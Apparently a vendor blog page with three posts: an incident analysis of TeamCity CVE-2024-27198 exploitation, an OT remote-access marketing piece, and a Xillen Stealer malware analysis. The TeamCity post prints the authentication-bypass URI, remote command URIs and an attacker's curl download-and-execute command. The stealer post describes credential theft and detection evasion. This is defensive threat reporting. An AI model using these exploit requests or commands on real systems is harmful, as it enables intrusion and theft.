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August 21, 2024

How Darktrace Detects TeamCity Exploitation Activity

Darktrace observed the rapid exploitation of a critical vulnerability in JetBrains TeamCity (CVE-2024-27198) shortly following its public disclosure. Learn how the need for speedy detection serves to protect against supply chain attacks.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Frank
Product Manager and Cyber Analyst
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21
Aug 2024

The rise in vulnerability exploitation

In recent years, threat actors have increasingly been observed exploiting endpoints and services associated with critical vulnerabilities almost immediately after those vulnerabilities are publicly disclosed. The time-to-exploit for internet-facing servers is accelerating as the risk of vulnerabilities in web components continuously grows. This growth demands faster detection and response from organizations and their security teams to ward off the rising number of exploitation attempts. One such case is that of CVE-2024-27198, a critical vulnerability in TeamCity On-Premises, a popular continuous integration and continuous delivery/deployment (CI/CD) solution for DevOps teams developed by JetBrains.

The disclosure of TeamCity vulnerabilities

On March 4, 2024, JetBrains published an advisory regarding two authentication bypass vulnerabilities, CVE-2024-27198 and CVE-2024-27199, affecting TeamCity On-Premises version 2023.11.3. and all earlier versions [1].

The most severe of the two vulnerabilities, CVE-2024-27198, would enable an attacker to take full control over all TeamCity projects and use their position as a suitable vector for a significant attack across the organization’s supply chain. The other vulnerability, CVE-2024-27199, was disclosed to be a path traversal bug that allows attackers to perform limited administrative actions. On the same day, several proof-of-exploits for CVE-2024-27198 were created and shared for public use; in effect, enabling anyone with the means and intent to validate whether a TeamCity device is affected by this vulnerability [2][3].

Using CVE-2024-27198, an attacker is able to successfully call an authenticated endpoint with no authentication, if they meet three requirements during an HTTP(S) request:

  • Request an unauthenticated resource that generates a 404 response.

/hax

  • Pass an HTTP query parameter named jsp containing the value of an authenticated URI path.

?jsp=/app/rest/server

  • Ensure the arbitrary URI path ends with .jsp by appending an HTTP path parameter segment.

;.jsp

  • Once combined, the URI path used by the attacker becomes:

/hax?jsp=/app/rest/server;.jsp

Over 30,000 organizations use TeamCity to automate and build testing and deployment processes for software projects. As various On-Premises servers are internet-facing, it became a short matter of time until exposed devices were faced with the inevitable rush of exploitation attempts. On March 7, the Cybersecurity and Infrastructure Security Agency (CISA) confirmed this by adding CVE-2024-27198 to its Known Exploited Catalog and noted that it was being actively used in ransomware campaigns. A shortened time-to-exploit has become fairly common for software known to be deeply embedded into an organization’s supply chain. Darktrace detected exploitation attempts of this vulnerability in the two days following JetBrains’ disclosure [4] [5].

Shortly after the disclosure of CVE-2024-27198, Darktrace observed malicious actors attempting to validate proof-of-exploits on a number of customer environments in the financial sector. After attackers validated the presence of the vulnerability on customer networks, Darktrace observed a series of suspicious activities including malicious file downloads, command-and-control (C2) connectivity and, in some cases, the delivery of cryptocurrency miners to TeamCity devices.

Fortunately, Darktrace was able to identify this malicious post-exploitation activity on compromised servers at the earliest possible stage, notifying affected customers and advising them to take urgent mitigative actions.

Attack details

Exploit Validation Activity

On March 6, just two days after the public disclosure of CVE-2024-27198, Darktrace first observed a customer being affected by the exploitation of the vulnerability when a TeamCity device received suspicious HTTP connections from the external endpoint, 83.97.20[.]141. This endpoint was later confirmed to be malicious and linked with the exploitation of TeamCity vulnerabilities by open-source intelligence (OSINT) sources [6]. The new user agent observed during these connections suggest they were performed using Python.

Figure 1: Advanced Search results shows the user agent (python-requests/2.25) performing initial stages of exploit validation for CVE-2024-27198.

The initial HTTP requests contained the following URIs:

/hax?jsp=/app/rest/server;[.]jsp

/hax?jsp=/app/rest/users;[.]jsp

These URIs match the exact criteria needed to exploit CVE-2024-27198 and initiate malicious unauthenicated requests. Darktrace / NETWORK recognized that these HTTP connections were suspicious, thus triggering the following models to alert:

  • Device / New User Agent
  • Anomalous Connection / New User Agent to IP Without Hostname

Establish C2

Around an hour later, Darktrace observed subsequent requests suggesting that the attacker began reconnaissance of the vulnerable device with the following URIs:

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO

These URIs set an executable path to /bin/sh or cmd.exe; instructing the shell of either a Unix-like or Windows operating system to execute the command echo ReadyGO. This will display “ReadyGO” to the attacker and validate which operating system is being used by this TeamCity server.

The same  vulnerable device was then seen downloading an executable file, “beacon.out”, from the aforementioned external endpoint via HTTP on port 81, using a new user agent curl/8.4.0.

Figure 2: Darktrace’s Cyber AI Analyst detecting suspicious download of an executable file.
Figure 3: Advanced Search overview of the URIs used in the HTTP requests.

Subsequently, the attacker was seen using the curl command on the vulnerable TeamCity device to perform the following call:

“/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.conf”.

in attempt to pass the following command to the device’s command line interpreter:

“curl http://83.97.20[.]141:81/beacon.out -o .conf && chmod +x .conf && ./.conf”

From here, the attacker attempted to fetch the contents of the “beacon.out” file and create a new executable file from its output. This was done by using the -o parameter to output the results of the “beacon.out” file into a “.conf” file. Then using chmod+x to modify the file access permissions and make this file an executable aswell, before running the newly created “.conf” file.

Further investigation into the “beacon.out” file uncovered that is uses the Cobalt Strike framework. Cobalt Strike would allow for the creation of beacon components that can be configured to use HTTP to reach a C2 host [7] [8].

Cryptocurrency Mining Activities

Interestingly, prior to the confirmed exploitation of CVE-2024-27198, Darktrace observed the same vulnerable device being targeted in an attempt to deploy cryptocurrency mining malware, using a variant of the open-source mining software, XMRig. Deploying crypto-miners on vulnerable internet-facing appliances is a common tactic by financially motivated attackers, as was seen with Ivanti appliances in January 2024 [9].

Figure 4: Darktrace’s Cyber AI Analyst detects suspicious C2 activity over HTTP.

On March 5, Darktrace observed the TeamCity device connecting to another to rare, external endpoint, 146.70.149[.]185, this time using a “Windows Installer” user agent: “146.70.149[.]185:81/JavaAccessBridge-64.msi”. Similar threat activity highlighted by security researchers in January 2024, pointed to the use of a XMRig installer masquerading as an official Java utlity: “JavaAccessBridge-64.msi”. [10]

Further investigation into the external endpoint and URL address structuring, uncovered additional URIs: one serving crypto-mining malware over port 58090 and the other a C2 panel hosted on the same endpoint: “146.70.149[.]185:58090/1.sh”.

Figure 5:Crypto mining malware served over port 58090 of the rare external endpoint.

146.70.149[.]185/uadmin/adm.php

Figure 6: C2 panel on same external endpoint.

Upon closer observation, the panel resembles that of the Phishing-as-a-Service (PhaaS) provided by the “V3Bphishing kit” – a sophisticated phishing kit used to target financial institutions and their customers [11].

Darktrace Coverage

Throughout the course of this incident, Darktrace’s Cyber AI Analyst™ was able to autonomously investigate the ongoing post-exploitation activity and connect the individual events, viewing the individual suspicious connections and downloads as part of a wider compromise incident, rather than isolated events.

Figure 7: Darktrace’s Cyber AI Analyst investigates suspicious download activity.

As this particular customer was subscribed to Darktrace’s Managed Threat Detection service at the time of the attack, their internal security team was immediately notified of the ongoing compromise, and the activity was raised to Darktrace’s Security Operations Center (SOC) for triage and investigation.

Unfortunately, Darktrace’s Autonomous Response capabilities were not configured to take action on the vulnerable TeamCity device, and the attack was able to escalate until Darktrace’s SOC brought it to the customer’s attention. Had Darktrace been enabled in Autonomous Response mode, it would have been able to quickly contain the attack from the initial beaconing connections through the network inhibitor ‘Block matching connections’. Some examples of autonomous response models that likely would have been triggered include:

  • Antigena Crypto Currency Mining Block - Network Inhibitor (Block matching connections)
  • Antigena Suspicious File Block - Network Inhibitor (Block matching connections)

Despite the lack of autonomous response, Darktrace’s Self-Learning AI was still able to detect and alert for the anomalous network activity being carried out by malicious actors who had successfully exploited CVE-2024-27198 in TeamCity On-Premises.

Conclusion

In the observed cases of the JetBrains TeamCity vulnerabilities being exploited across the Darktrace fleet, Darktrace was able to pre-emptively identify and, in some cases, contain network compromises from the onset, offering vital protection against a potentially disruptive supply chain attack.

While the exploitation activity observed by Darktrace confirms the pervasive use of public exploit code, an important takeaway is the time needed for threat actors to employ such exploits in their arsenal. It suggests that threat actors are speeding up augmentation to their tactics, techniques and procedures (TTPs), especially from the moment a critical vulnerability is publicly disclosed. In fact, external security researchers have shown that CVE-2024-27198 had seen exploitation attempts within 22 minutes of a public exploit code being released  [12][13] [14].

While new vulnerabilities will inevitably surface and threat actors will continually look for novel or AI-augmented ways to evolve their methods, Darktrace’s AI-driven detection capabilities and behavioral analysis offers organizations full visibility over novel or unknown threats. Rather than relying on only existing threat intelligence, Darktrace is able to detect emerging activity based on anomaly and respond to it without latency, safeguarding customer environments whilst causing minimal disruption to business operations.

Credit to Justin Frank (Cyber Analyst & Newsroom Product Manager) and Daniela Alvarado (Senior Cyber Analyst)

Appendices

References

[1] https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/

[2] https://github.com/Chocapikk/CVE-2024-27198

[3] https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

[4] https://www.darkreading.com/cyberattacks-data-breaches/jetbrains-teamcity-mass-exploitation-underway-rogue-accounts-thrive

[5] https://www.gartner.com/en/documents/5524495
[6]https://www.virustotal.com/gui/ip-address/83.97.20.141

[7] https://thehackernews.com/2024/03/teamcity-flaw-leads-to-surge-in.html

[8] https://www.cobaltstrike.com/product/features/beacon

[9] https://darktrace.com/blog/the-unknown-unknowns-post-exploitation-activities-of-ivanti-cs-ps-appliances

[10] https://www.trendmicro.com/en_us/research/24/c/teamcity-vulnerability-exploits-lead-to-jasmin-ransomware.html

[11] https://www.resecurity.com/blog/article/cybercriminals-attack-banking-customers-in-eu-with-v3b-phishing-kit

[12] https://www.ncsc.gov.uk/report/impact-of-ai-on-cyber-threat

[13] https://www2.deloitte.com/content/dam/Deloitte/us/Documents/risk/us-design-ai-threat-report-v2.pdf

[14] https://blog.cloudflare.com/application-security-report-2024-update

[15] https://www.virustotal.com/gui/file/1320e6dd39d9fdb901ae64713594b1153ee6244daa84c2336cf75a2a0b726b3c

Darktrace Model Detections

Device / New User Agent

Anomalous Connection / New User Agent to IP Without Hostname

Anomalous Connection / Callback on Web Facing Device

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous File / EXE from Rare External Location

Anomalous File / Internet Facing System File Download

Anomalous Server Activity / New User Agent from Internet Facing System

Device / Initial Breach Chain Compromise

Device / Internet Facing Device with High Priority Alert

Indicators of Compromise (IoC)

IoC -     Type – Description

/hax?jsp=/app/rest/server;[.]jsp - URI

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO - URI

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO – URI -

db6bd96b152314db3c430df41b83fcf2e5712281 - SHA1 – Malicious file

/beacon.out - URI  -

/JavaAccessBridge-64.msi - MSI Installer

/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.con - URI

146.70.149[.]185:81 - IP – Malicious Endpoint

83.97.20[.]141:81 - IP – Malicious Endpoint

MITRE ATT&CK Mapping

Initial Access - Exploit Public-Facing Application - T1190

Execution - PowerShell - T1059.001

Command and Control - Ingress Tool Transfer - T1105

Resource Development - Obtain Capabilities - T1588

Execution - Vulnerabilities - T1588.006

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Frank
Product Manager and Cyber Analyst

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November 20, 2025

Managing OT Remote Access with Zero Trust Control & AI Driven Detection

managing OT remote access with zero trust control and ai driven detectionDefault blog imageDefault blog image

The shift toward IT-OT convergence

Recently, industrial environments have become more connected and dependent on external collaboration. As a result, truly air-gapped OT systems have become less of a reality, especially when working with OEM-managed assets, legacy equipment requiring remote diagnostics, or third-party integrators who routinely connect in.

This convergence, whether it’s driven by digital transformation mandates or operational efficiency goals, are making OT environments more connected, more automated, and more intertwined with IT systems. While this convergence opens new possibilities, it also exposes the environment to risks that traditional OT architectures were never designed to withstand.

The modernization gap and why visibility alone isn’t enough

The push toward modernization has introduced new technology into industrial environments, creating convergence between IT and OT environments, and resulting in a lack of visibility. However, regaining that visibility is just a starting point. Visibility only tells you what is connected, not how access should be governed. And this is where the divide between IT and OT becomes unavoidable.

Security strategies that work well in IT often fall short in OT, where even small missteps can lead to environmental risk, safety incidents, or costly disruptions. Add in mounting regulatory pressure to enforce secure access, enforce segmentation, and demonstrate accountability, and it becomes clear: visibility alone is no longer sufficient. What industrial environments need now is precision. They need control. And they need to implement both without interrupting operations. All this requires identity-based access controls, real-time session oversight, and continuous behavioral detection.

The risk of unmonitored remote access

This risk becomes most evident during critical moments, such as when an OEM needs urgent access to troubleshoot a malfunctioning asset.

Under that time pressure, access is often provisioned quickly with minimal verification, bypassing established processes. Once inside, there’s little to no real-time oversight of user actions whether they’re executing commands, changing configurations, or moving laterally across the network. These actions typically go unlogged or unnoticed until something breaks. At that point, teams are stuck piecing together fragmented logs or post-incident forensics, with no clear line of accountability.  

In environments where uptime is critical and safety is non-negotiable, this level of uncertainty simply isn’t sustainable.

The visibility gap: Who’s doing what, and when?

The fundamental issue we encounter is the disconnect between who has access and what they are doing with it.  

Traditional access management tools may validate credentials and restrict entry points, but they rarely provide real-time visibility into in-session activity. Even fewer can distinguish between expected vendor behavior and subtle signs of compromise, misuse or misconfiguration.  

As a result, OT and security teams are often left blind to the most critical part of the puzzle, intent and behavior.

Closing the gaps with zero trust controls and AI‑driven detection

Managing remote access in OT is no longer just about granting a connection, it’s about enforcing strict access parameters while continuously monitoring for abnormal behavior. This requires a two-pronged approach: precision access control, and intelligent, real-time detection.

Zero Trust access controls provide the foundation. By enforcing identity-based, just-in-time permissions, OT environments can ensure that vendors and remote users only access the systems they’re explicitly authorized to interact with, and only for the time they need. These controls should be granular enough to limit access down to specific devices, commands, or functions. By applying these principles consistently across the Purdue Model, organizations can eliminate reliance on catch-all VPN tunnels, jump servers, and brittle firewall exceptions that expose the environment to excess risk.

Access control is only one part of the equation

Darktrace / OT complements zero trust controls with continuous, AI-driven behavioral detection. Rather than relying on static rules or pre-defined signatures, Darktrace uses Self-Learning AI to build a live, evolving understanding of what’s “normal” in the environment, across every device, protocol, and user. This enables real-time detection of subtle misconfigurations, credential misuse, or lateral movement as they happen, not after the fact.

By correlating user identity and session activity with behavioral analytics, Darktrace gives organizations the full picture: who accessed which system, what actions they performed, how those actions compared to historical norms, and whether any deviations occurred. It eliminates guesswork around remote access sessions and replaces it with clear, contextual insight.

Importantly, Darktrace distinguishes between operational noise and true cyber-relevant anomalies. Unlike other tools that lump everything, from CVE alerts to routine activity, into a single stream, Darktrace separates legitimate remote access behavior from potential misuse or abuse. This means organizations can both audit access from a compliance standpoint and be confident that if a session is ever exploited, the misuse will be surfaced as a high-fidelity, cyber-relevant alert. This approach serves as a compensating control, ensuring that even if access is overextended or misused, the behavior is still visible and actionable.

If a session deviates from learned baselines, such as an unusual command sequence, new lateral movement path, or activity outside of scheduled hours, Darktrace can flag it immediately. These insights can be used to trigger manual investigation or automated enforcement actions, such as access revocation or session isolation, depending on policy.

This layered approach enables real-time decision-making, supports uninterrupted operations, and delivers complete accountability for all remote activity, without slowing down critical work or disrupting industrial workflows.

Where Zero Trust Access Meets AI‑Driven Oversight:

  • Granular Access Enforcement: Role-based, just-in-time access that aligns with Zero Trust principles and meets compliance expectations.
  • Context-Enriched Threat Detection: Self-Learning AI detects anomalous OT behavior in real time and ties threats to access events and user activity.
  • Automated Session Oversight: Behavioral anomalies can trigger alerting or automated controls, reducing time-to-contain while preserving uptime.
  • Full Visibility Across Purdue Layers: Correlated data connects remote access events with device-level behavior, spanning IT and OT layers.
  • Scalable, Passive Monitoring: Passive behavioral learning enables coverage across legacy systems and air-gapped environments, no signatures, agents, or intrusive scans required.

Complete security without compromise

We no longer have to choose between operational agility and security control, or between visibility and simplicity. A Zero Trust approach, reinforced by real-time AI detection, enables secure remote access that is both permission-aware and behavior-aware, tailored to the realities of industrial operations and scalable across diverse environments.

Because when it comes to protecting critical infrastructure, access without detection is a risk and detection without access control is incomplete.

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About the author
Pallavi Singh
Product Marketing Manager, OT Security & Compliance

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November 20, 2025

Xillen Stealer Updates to Version 5 to Evade AI Detection

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Introduction

Python-based information stealer “Xillen Stealer” has recently released versions 4 and 5, expanding its targeting and functionality. The cross-platform infostealer, originally reported by Cyfirma in September 2025, targets sensitive data including credentials, cryptocurrency wallets, system information, browser data and employs anti-analysis techniques.  

The update to v4/v5 includes significantly more functionality, including:

  • Persistence
  • Ability to steal credentials from password managers, social media accounts, browser data (history, cookies and passwords) from over 100 browsers, cryptocurrency from over 70 wallets
  • Kubernetes configs and secrets
  • Docker scanning
  • Encryption
  • Polymorphism
  • System hooks
  • Peer-to-Peer (P2P) Command-and-Control (C2)
  • Single Sign-On (SSO) collector
  • Time-Based One-Time Passwords (TOTP) and biometric collection
  • EDR bypass
  • AI evasion
  • Interceptor for Two-Factor Authentication (2FA)
  • IoT scanning
  • Data exfiltration via Cloud APIs

Xillen Stealer is marketed on Telegram, with different licenses available for purchase. Users who deploy the malware have access to a professional-looking GUI that enables them to view exfiltrated data, logs, infections, configurations and subscription information.

Screenshot of the Xillen Stealer portal.
Figure 1: Screenshot of the Xillen Stealer portal.

Technical analysis

The following technical analysis examines some of the interesting functions of Xillen Stealer v4 and v5. The main functionality of Xillen Stealer is to steal cryptocurrency, credentials, system information, and account information from a range of stores.

Xillen Stealer specifically targets the following wallets and browsers:

AITargetDectection

Screenshot of Xillen Stealer’s AI Target detection function.
Figure 2: Screenshot of Xillen Stealer’s AI Target detection function.

The ‘AITargetDetection’ class is intended to use AI to detect high-value targets based on weighted indicators and relevant keywords defined in a dictionary. These indicators include “high value targets”, like cryptocurrency wallets, banking data, premium accounts, developer accounts, and business emails. Location indicators include high-value countries such as the United States, United Kingdom, Germany and Japan, along with cryptocurrency-friendly countries and financial hubs. Wealth indicators such as keywords like CEO, trader, investor and VIP have also been defined in a dictionary but are not in use at this time, pointing towards the group’s intent to develop further in the future.

While the class is named ‘AITargetDetection’ and includes placeholder functions for initializing and training a machine learning model, there is no actual implementation of machine learning. Instead, the system relies entirely on rule-based pattern matching for detection and scoring. Even though AI is not actually implemented in this code, it shows how malware developers could use AI in future malicious campaigns.

Screenshot of dead code function.
Figure 3: Screenshot of dead code function.

AI Evasion

Screenshot of AI evasion function to create entropy variance.
Figure 4: Screenshot of AI evasion function to create entropy variance.

‘AIEvasionEngine’ is a module designed to help malware evade AI-based or behavior-based detection systems, such as EDRs and sandboxes. It mimics legitimate user and system behavior, injects statistical noise, randomizes execution patterns, and camouflages resource usage. Its goal is to make the malware appear benign to machine learning detectors. The techniques used to achieve this are:

  • Behavioral Mimicking: Simulates user actions (mouse movement, fake browser use, file/network activity)
  • Noise Injection: Performs random memory, CPU, file, and network operations to confuse behavioral classifiers
  • Timing Randomization: Introduces irregular delays and sleep patterns to avoid timing-based anomaly detection
  • Resource Camouflage: Adjusts CPU and memory usage to imitate normal apps (such as browsers, text editors)
  • API Call Obfuscation: Random system API calls and pattern changes to hide malicious intent
  • Memory Access Obfuscation: Alters access patterns and entropy to bypass ML models monitoring memory behavior

PolymorphicEngine

As part of the “Rust Engine” available in Xillen Stealer is the Polymorphic Engine. The ‘PolymorphicEngine’ struct implements a basic polymorphic transformation system designed for obfuscation and detection evasion. It uses predefined instruction substitutions, control-flow pattern replacements, and dead code injection to produce varied output. The mutate_code() method scans input bytes and replaces recognized instruction patterns with randomized alternatives, then applies control flow obfuscation and inserts non-functional code to increase variability. Additional features include string encryption via XOR and a stub-based packer.

Collectors

DevToolsCollector

Figure 5: Screenshot of Kubernetes data function.

The ‘DevToolsCollector’ is designed to collect sensitive data related to a wide range of developer tools and environments. This includes:

IDE configurations

  • VS Code, VS Code Insiders, Visual Studio
  • JetBrains: Intellij, PyCharm, WebStorm
  • Sublime
  • Atom
  • Notepad++
  • Eclipse

Cloud credentials and configurations

  • AWS
  • GCP
  • Azure
  • Digital Ocean
  • Heroku

SSH keys

Docker & Kubernetes configurations

Git credentials

Database connection information

  • HeidiSQL
  • Navicat
  • DBeaver
  • MySQL Workbench
  • pgAdmin

API keys from .env files

FTP configs

  • FileZilla
  • WinSCP
  • Core FTP

VPN configurations

  • OpenVPN
  • WireGuard
  • NordVPN
  • ExpressVPN
  • CyberGhost

Container persistence

Screenshot of Kubernetes inject function.
Figure 6: Screenshot of Kubernetes inject function.

Biometric Collector

Screenshot of the ‘BiometricCollector’ function.
Figure 7: Screenshot of the ‘BiometricCollector’ function.

The ‘BiometricCollector’ attempts to collect biometric information from Windows systems by scanning the C:\Windows\System32\WinBioDatabase directory, which stores Windows Hello and other biometric configuration data. If accessible, it reads the contents of each file, encodes them in Base64, preparing them for later exfiltration. While the data here is typically encrypted by Windows, its collection indicates an attempt to extract sensitive biometric data.

Password Managers

The ‘PasswordManagerCollector’ function attempts to steal credentials stored in password managers including, OnePass, LastPass, BitWarden, Dashlane, NordPass and KeePass. However, this function is limited to Windows systems only.

SSOCollector

The ‘SSOCollector’ class is designed to collect authentication tokens related to SSO systems. It targets three main sources: Azure Active Directory tokens stored under TokenBroker\Cache, Kerberos tickets obtained through the klist command, and Google Cloud authentication data in user configuration folders. For each source, it checks known directories or commands, reads partial file contents, and stores the results as in a dictionary. Once again, this function is limited to Windows systems.

TOTP Collector

The ‘TOTP Collector’ class attempts to collect TOTPs from:

  • Authy Desktop by locating and reading from Authy.db SQLite databases
  • Microsoft Authenticator by scanning known application data paths for stored binary files
  • TOTP-related Chrome extensions by searching LevelDB files for identifiable keywords like “gauth” or “authenticator”.

Each method attempts to locate relevant files, parse or partially read their contents, and store them in a dictionary under labels like authy, microsoft_auth, or chrome_extension. However, as before, this is limited to Windows, and there is no handling for encrypted tokens.

Enterprise Collector

The ‘EnterpriseCollector’ class is used to extract credentials related to an enterprise Windows system. It targets configuration and credential data from:

  • VPN clients
    • Cisco AnyConnect, OpenVPN, Forticlient, Pulse Secure
  • RDP credentials
  • Corporate certificates
  • Active Directory tokens
  • Kerberos tickets cache

The files and directories are located based on standard environment variables with their contents read in binary mode and then encoded in Base64.

Super Extended Application Collector

The ‘SuperExtendedApplication’ Collector class is designed to scan an environment for 160 different applications on a Windows system. It iterates through the paths of a wide range of software categories including messaging apps, cryptocurrency wallets, password managers, development tools, enterprise tools, gaming clients, and security products. The list includes but is not limited to Teams, Slack, Mattermost, Zoom, Google Meet, MS Office, Defender, Norton, McAfee, Steam, Twitch, VMWare, to name a few.

Bypass

AppBoundBypass

This code outlines a framework for bypassing App Bound protections, Google Chrome' s cookie encryption. The ‘AppBoundBypass’ class attempts several evasion techniques, including memory injection, dynamic-link library (DLL) hijacking, process hollowing, atom bombing, and process doppelgänging to impersonate or hijack browser processes. As of the time of writing, the code contains multiple placeholders, indicating that the code is still in development.

Steganography

The ‘SteganographyModule’ uses steganography (hiding data within an image) to hide the stolen data, staging it for exfiltration. Multiple methods are implemented, including:

  • Image steganography: LSB-based hiding
  • NTFS Alternate Data Streams
  • Windows Registry Keys
  • Slack space: Writing into unallocated disk cluster space
  • Polyglot files: Appending archive data to images
  • Image metadata: Embedding data in EXIF tags
  • Whitespace encoding: Hiding binary in trailing spaces of text files

Exfiltration

CloudProxy

Screenshot of the ‘CloudProxy’ class.
Figure 8: Screenshot of the ‘CloudProxy’ class.

The CloudProxy class is designed for exfiltrating data by routing it through cloud service domains. It encodes the input data using Base64, attaches a timestamp and SHA-256 signature, and attempts to send this payload as a JSON object via HTTP POST requests to cloud URLs including AWS, GCP, and Azure, allowing the traffic to blend in. As of the time of writing, these public facing URLs do not accept POST requests, indicating that they are placeholders meant to be replaced with attacker-controlled cloud endpoints in a finalized build.

P2PEngine

Screenshot of the P2PEngine.
Figure 9: Screenshot of the P2PEngine.

The ‘P2PEngine’ provides multiple methods of C2, including embedding instructions within blockchain transactions (such as Bitcoin OP_RETURN, Ethereum smart contracts), exfiltrating data via anonymizing networks like Tor and I2P, and storing payloads on IPFS (a distributed file system). It also supports domain generation algorithms (DGA) to create dynamic .onion addresses for evading detection.

After a compromise, the stealer creates both HTML and TXT reports containing the stolen data. It then sends these reports to the attacker’s designated Telegram account.

Xillen Killers

 Xillen Killers.
FIgure 10: Xillen Killers.

Xillen Stealer appears to be developed by a self-described 15-year-old “pentest specialist” “Beng/jaminButton” who creates TikTok videos showing basic exploits and open-source intelligence (OSINT) techniques. The group distributing the information stealer, known as “Xillen Killers”, claims to have 3,000 members. Additionally, the group claims to have been involved in:

  • Analysis of Project DDoSia, a tool reportedly used by the NoName057(16) group, revealing that rather functioning as a distributed denial-of-service (DDos) tool, it is actually a remote access trojan (RAT) and stealer, along with the identification of involved individuals.
  • Compromise of doxbin.net in October 2025.
  • Discovery of vulnerabilities on a Russian mods site and a Ukrainian news site

The group, which claims to be part of the Russian IT scene, use Telegram for logging, marketing, and support.

Conclusion

While some components of XillenStealer remain underdeveloped, the range of intended feature set, which includes credential harvesting, cryptocurrency theft, container targeting, and anti-analysis techniques, suggests that once fully developed it could become a sophisticated stealer. The intention to use AI to help improve targeting in malware campaigns, even though not yet implemented, indicates how threat actors are likely to incorporate AI into future campaigns.  
Credit to Tara Gould (Threat Research Lead)

Edited by Ryan Traill (Analyst Content Lead)

Appendicies

Indicators of Compromise (IoCs)

395350d9cfbf32cef74357fd9cb66134 - confid.py

F3ce485b669e7c18b66d09418e979468 - stealer_v5_ultimate.py

3133fe7dc7b690264ee4f0fb6d867946 - xillen_v5.exe

https://github.com/BengaminButton/XillenStealer

https://github.com/BengaminButton/XillenStealer/commit/9d9f105df4a6b20613e3a7c55379dcbf4d1ef465

MITRE ATT&CK

ID Technique

T1059.006 - Python

T1555 - Credentials from Password Stores

T1555.003 - Credentials from Password Stores: Credentials from Web Browsers

T1555.005 - Credentials from Password Stores: Password Managers

T1649 - Steal or Forge Authentication Certificates

T1558 - Steal or Forge Kerberos Tickets

T1539 - Steal Web Session Cookie

T1552.001 - Unsecured Credentials: Credentials In Files

T1552.004 - Unsecured Credentials: Private Keys

T1552.005 - Unsecured Credentials: Cloud Instance Metadata API

T1217 - Browser Information Discovery

T1622 - Debugger Evasion

T1082 - System Information Discovery

T1497.001 - Virtualization/Sandbox Evasion: System Checks

T1115 - Clipboard Data

T1001.002 - Data Obfuscation: Steganography

T1567 - Exfiltration Over Web Service

T1657 - Financial Theft

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About the author
Tara Gould
Threat Researcher
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